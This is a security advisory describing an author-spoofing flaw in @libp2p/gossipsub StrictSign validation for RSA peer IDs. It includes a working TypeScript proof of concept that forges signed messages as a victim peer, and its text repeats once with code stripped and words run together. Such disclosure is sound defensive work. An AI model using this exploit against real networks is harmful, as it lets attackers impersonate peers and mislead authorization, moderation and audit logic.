Summary
@libp2p/gossipsub StrictSign validation does not bind a supplied message public key to the claimed from peer ID when from is an RSA-style peer ID that does not inline its public key. An attacker can set from to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in msg.key, and have the message accepted as a valid signed message from the victim.
Details
The vulnerable code is in packages/gossipsub/src/utils/buildRawMessage.ts inside validateToRawMessage.
When msg.key is present:
publicKey = publicKeyFromProtobuf(msg.key)
if (fromPeerId.publicKey !== undefined && !publicKey.equals(fromPeerId.publicKey)) {
return { valid: false, error: ValidateError.InvalidPeerId }
}For RSA peer IDs parsed from the wire from multihash, fromPeerId.publicKey is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-from comparison is skipped. The code then verifies the signature with the attacker-supplied msg.key and returns a signed message whose from is the victim RSA peer ID.
The missing invariant is:
peerIdFromPublicKey(publicKey).equals(fromPeerId)
This check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.
StrictSign is the default gossipsub signature policy in packages/gossipsub/src/gossipsub.ts:
this.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign
Version tracing:
git blame points the vulnerable validateToRawMessage block to 9a9b11fd44 (fix!: remove pubsub (#3291)), which introduced packages/gossipsub/src/utils/buildRawMessage.ts.- That commit's
packages/gossipsub/package.json still reports 14.1.1, but the first gossipsub-v* release tag in this checkout that contains the vulnerable block is gossipsub-v15.0.0.
PoC
// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys'
import { StrictSign } from '@libp2p/gossipsub'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { concat as uint8ArrayConcat } from 'uint8arrays/concat'
import { fromString as uint8ArrayFromString } from 'uint8arrays/from-string'
import { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js'
import { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'
const label = 'gossipsub StrictSign RSA author spoof'
function seqno (n: bigint): Uint8Array {
const out = new Uint8Array(8)
new DataView(out.buffer).setBigUint64(0, n, false)
return out
}
async function main (): Promise<void> {
const attackerKey = await generateKeyPair('Ed25519')
const victimRsaKey = await generateKeyPair('RSA', 512)
const victim = peerIdFromPrivateKey(victimRsaKey)
const msg: RPC.Message = {
from: victim.toMultihash().bytes,
data: uint8ArrayFromString('forged as victim RSA peer'),
seqno: seqno(1n),
topic: 'poc-topic',
signature: undefined,
key: undefined
}
// Sign the protobuf message that claims victim in `from`, using attacker's key.
const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])
msg.signature = await attackerKey.sign(bytes)
msg.key = publicKeyToProtobuf(attackerKey.publicKey)
const result = await validateToRawMessage(StrictSign, msg)
if (!result.valid) {
throw new Error(`expected forged message to validate, got ${result.error}`)
}
assert.equal(result.message.type, 'signed')
assert.equal(result.message.from.equals(victim), true)
assert.equal(result.message.key.equals(attackerKey.publicKey), true)
console.log(`${label} reproduced`)
console.log(`claimed victim RSA author: ${victim}`)
console.log('signature verified with attacker-supplied key')
}
main().catch(err => {
console.error(err)
process.exitCode = 1
})Expected output:
gossipsub StrictSign RSA author spoof reproduced
claimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f
signature verified with attacker-supplied key
Impact
Attackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default StrictSign policy. Applications that trust message.from in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.
The forged message can also be considered valid by gossipsub's validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.
Summary
@libp2p/gossipsubStrictSignvalidation does not bind a supplied message public key to the claimedfrompeer ID whenfromis an RSA-style peer ID that does not inline its public key. An attacker can setfromto a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key inmsg.key, and have the message accepted as a valid signed message from the victim.Details
The vulnerable code is in
packages/gossipsub/src/utils/buildRawMessage.tsinsidevalidateToRawMessage.When
msg.keyis present:For RSA peer IDs parsed from the wire
frommultihash,fromPeerId.publicKeyis undefined because the RSA public key is not inlined in the peer ID. This means the key-to-fromcomparison is skipped. The code then verifies the signature with the attacker-suppliedmsg.keyand returns a signed message whosefromis the victim RSA peer ID.The missing invariant is:
This check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.
StrictSignis the default gossipsub signature policy inpackages/gossipsub/src/gossipsub.ts:Version tracing:
git blamepoints the vulnerablevalidateToRawMessageblock to9a9b11fd44(fix!: remove pubsub (#3291)), which introducedpackages/gossipsub/src/utils/buildRawMessage.ts.packages/gossipsub/package.jsonstill reports14.1.1, but the firstgossipsub-v*release tag in this checkout that contains the vulnerable block isgossipsub-v15.0.0.PoC
Expected output:
Impact
Attackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default
StrictSignpolicy. Applications that trustmessage.fromin topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.The forged message can also be considered valid by gossipsub's validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.